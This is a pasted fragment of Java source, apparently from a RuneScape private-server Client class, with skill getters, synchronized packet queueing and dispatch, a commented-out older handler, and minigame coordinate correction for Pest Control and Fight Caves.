- public Herblore getHerblore() {
- return herblore;
- }
- public String getConnectedFrom() {
- return connectedFrom;
- }
- public Pets getSummon() {
- return pets;
- }
- public Smithing getSmithing() {
- return smith;
- }
- public CreateNPC createNPC() {
- return newNPC;
- }
- public RemoveNPC removeNPC() {
- return rNPC;
- }
- public SmithingInterface getSmithingInt() {
- return smithInt;
- }
- public Firemaking getFiremaking() {
- return firemaking;
- }
- public Fletching getFletching() {
- return fletching;
- }
- public Prayer getPrayer() {
- return prayer;
- }
- /**
- * End of Skill Constructors
- */
- public void queueMessage(Packet arg1) {
- synchronized (queuedPackets) {
- queuedPackets.add(arg1);
- }
- }
- @Override
- public boolean processQueuedPackets() {
- synchronized (queuedPackets) {
- Packet p = null;
- while ((p = queuedPackets.poll()) != null) {
- inStream.currentOffset = 0;
- packetType = p.getOpcode();
- packetSize = p.getLength();
- inStream.buffer = p.getPayload().array();
- if (packetType > 0) {
- PacketHandler.processPacket(this, packetType, packetSize);
- }
- }
- }
- return true;
- }
- /*
- * public void queueMessage(Packet arg1) { //synchronized(queuedPackets) {
- * //if (arg1.getId() != 41) queuedPackets.add(arg1); //else
- * //processPacket(arg1); //} }
- *
- * public synchronized boolean processQueuedPackets() { Packet p = null;
- * synchronized(queuedPackets) { p = queuedPackets.poll(); } if(p == null) {
- * return false; } inStream.currentOffset = 0; packetType = p.getOpcode();
- * packetSize = p.getLength(); inStream.buffer = p.getPayload().array();
- * if(packetType > 0) { //sendMessage("PacketType: " + packetType);
- * PacketHandler.processPacket(this, packetType, packetSize); }
- * timeOutCounter = 0; return true; }
- *
- * public synchronized boolean processPacket(Packet p) { synchronized (this)
- * { if(p == null) { return false; } inStream.currentOffset = 0; packetType
- * = p.getOpcode(); packetSize = p.getLength(); inStream.buffer =
- * p.getPayload().array(); if(packetType > 0) { //sendMessage("PacketType: "
- * + packetType); PacketHandler.processPacket(this, packetType, packetSize);
- * } timeOutCounter = 0; return true; } }
- */
- public void correctCoordinates() {
- if (inPcGame()) {
- getPA().movePlayer(2657, 2639, 0);
- }
- if (inFightCaves()) {
- getPA().movePlayer(absX, absY, playerId * 4);
- sendMessage("Your wave will start in 10 seconds.");
- CycleEventHandler.getSingleton().addEvent(this, new CycleEvent() {
- @Override
- public void execute(CycleEventContainer container) {
- Server.fightCaves
- .spawnNextWave((Client) PlayerHandler.players[playerId]);
- container.stop();
- }
- @Override
- public void stop() {
- }
- }, 20);
- }
- }
- public Barrows getBarrows() {
- return barrows;
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement